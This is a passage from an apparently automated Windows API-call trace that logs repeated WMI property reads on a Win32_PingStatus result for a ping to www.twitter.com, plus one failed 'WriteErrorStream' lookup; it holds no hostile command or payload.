plFlavor=0x25c7e84*=0) returned 0x0 [0160.402] IWbemClassObject:Get (in: This=0x5f6b230, wszName="ResponseTime", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c7e80*=19, plFlavor=0x25c7e84*=0 | out: pVal=0x5bde980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), pType=0x25c7e80*=19, plFlavor=0x25c7e84*=0) returned 0x0 [0160.403] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0160.403] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0160.403] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.403] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0160.403] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0160.403] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.403] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0160.403] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.403] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.403] SafeArrayGetLBound (in: psa=0x5f6db48, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0160.403] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.403] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.403] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.403] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.403] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.404] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.404] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.404] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.404] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.404] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.404] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.404] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.404] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.404] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.404] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.404] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.404] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.404] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.404] SysStringByteLen (bstr="__PATH") returned 0xc [0160.404] SysStringByteLen (bstr="__PATH") returned 0xc [0160.404] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c8338*=0, plFlavor=0x25c833c*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25c8338*=3, plFlavor=0x25c833c*=64) returned 0x0 [0160.405] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c836c*=0, plFlavor=0x25c8370*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25c836c*=8, plFlavor=0x25c8370*=64) returned 0x0 [0160.405] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.405] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.405] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c83c4*=0, plFlavor=0x25c83c8*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c83c4*=8, plFlavor=0x25c83c8*=64) returned 0x0 [0160.405] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c83ec*=0, plFlavor=0x25c83f0*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25c83ec*=8, plFlavor=0x25c83f0*=64) returned 0x0 [0160.405] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.405] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.405] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c8444*=0, plFlavor=0x25c8448*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25c8444*=8, plFlavor=0x25c8448*=64) returned 0x0 [0160.405] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.405] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.405] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c8620*=0, plFlavor=0x25c8624*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25c8620*=3, plFlavor=0x25c8624*=64) returned 0x0 [0160.406] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c8654*=0, plFlavor=0x25c8658*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25c8654*=8200, plFlavor=0x25c8658*=64) returned 0x0 [0160.406] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c8688*=0, plFlavor=0x25c868c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25c8688*=8, plFlavor=0x25c868c*=64) returned 0x0 [0160.406] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.406] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.406] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c86d4*=0, plFlavor=0x25c86d8*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25c86d4*=8, plFlavor=0x25c86d8*=64) returned 0x0 [0160.406] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.406] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.407] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c8720*=0, plFlavor=0x25c8724*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25c8720*=8, plFlavor=0x25c8724*=64) returned 0x0 [0160.407] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.407] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.407] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0160.407] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0160.407] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.407] IWbemClassObject:Get (in: This=0x5f6b230, wszName="WriteErrorStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c8958*=0, plFlavor=0x25c895c*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c8958*=0, plFlavor=0x25c895c*=0) returned 0x80041002 [0160.407] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0160.408] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5f6af90) returned 0x0 [0160.409] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af90, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0160.409] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f6af90, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5f6afd0) returned 0x0 [0160.409] WbemStatusCodeText:IUnknown:Release (This=0x5f6af90) returned 0x0 [0160.409] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6afd0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5f6afd0) returned 0x0 [0160.409] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6afd0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0160.409] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6afd0) returned 0x3 [0160.409] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6afd0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0160.409] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6afd0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0160.409] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6afd0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0160.409] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0160.409] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0160.410] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6afd0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0160.410] WbemStatusCodeText:IUnknown:Release (This=0x5f6afd0) returned 0x2 [0160.410] WbemStatusCodeText:IUnknown:Release (This=0x5f6afd0) returned 0x1 [0160.410] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0160.410] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0160.410] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6afd0, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5f6afd0) returned 0x0 [0160.410] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6afd0) returned 0x3 [0160.410] WbemStatusCodeText:IUnknown:Release (This=0x5f6afd0) returned 0x2 [0160.410] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f6afd0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0160.410] SysStringByteLen (bstr="Not found ") returned 0x14 [0160.411] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0160.411] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0160.411] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.411] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0160.411] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0160.411] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.411] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0160.411] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0160.412] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0160.412] SafeArrayGetLBound (in: psa=0x5f6dc68, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0160.412] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.412] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.412] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.412] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.412] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.412] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.412] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.412] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.412] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.412] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.412] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.412] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.412] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.412] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.412] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.412] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.412] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.412] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.412] SysStringByteLen (bstr="__PATH") returned 0xc [0160.413] SysStringByteLen (bstr="__PATH") returned 0xc [0160.413] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c8d38*=0, plFlavor=0x25c8d3c*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25c8d38*=3, plFlavor=0x25c8d3c*=64) returned 0x0 [0160.413] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c8d6c*=0, plFlavor=0x25c8d70*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25c8d6c*=8, plFlavor=0x25c8d70*=64) returned 0x0 [0160.413] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.413] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.413] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c8dc4*=0, plFlavor=0x25c8dc8*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c8dc4*=8, plFlavor=0x25c8dc8*=64) returned 0x0 [0160.413] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c8dec*=0, plFlavor=0x25c8df0*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25c8dec*=8, plFlavor=0x25c8df0*=64) returned 0x0 [0160.413] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.413] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.414] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c8e44*=0, plFlavor=0x25c8e48*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25c8e44*=8, plFlavor=0x25c8e48*=64) returned 0x0 [0160.414] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.414] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.414] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9020*=0, plFlavor=0x25c9024*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25c9020*=3, plFlavor=0x25c9024*=64) returned 0x0 [0160.414] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9054*=0, plFlavor=0x25c9058*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25c9054*=8200, plFlavor=0x25c9058*=64) returned 0x0 [0160.414] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9088*=0, plFlavor=0x25c908c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25c9088*=8, plFlavor=0x25c908c*=64) returned 0x0 [0160.414] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.414] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.415] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c90d4*=0, plFlavor=0x25c90d8*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25c90d4*=8, plFlavor=0x25c90d8*=64) returned 0x0 [0160.415] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.415] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.415] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9120*=0, plFlavor=0x25c9124*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25c9120*=8, plFlavor=0x25c9124*=64) returned 0x0 [0160.415] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.415] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.415] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0160.415] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0160.415] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.415] 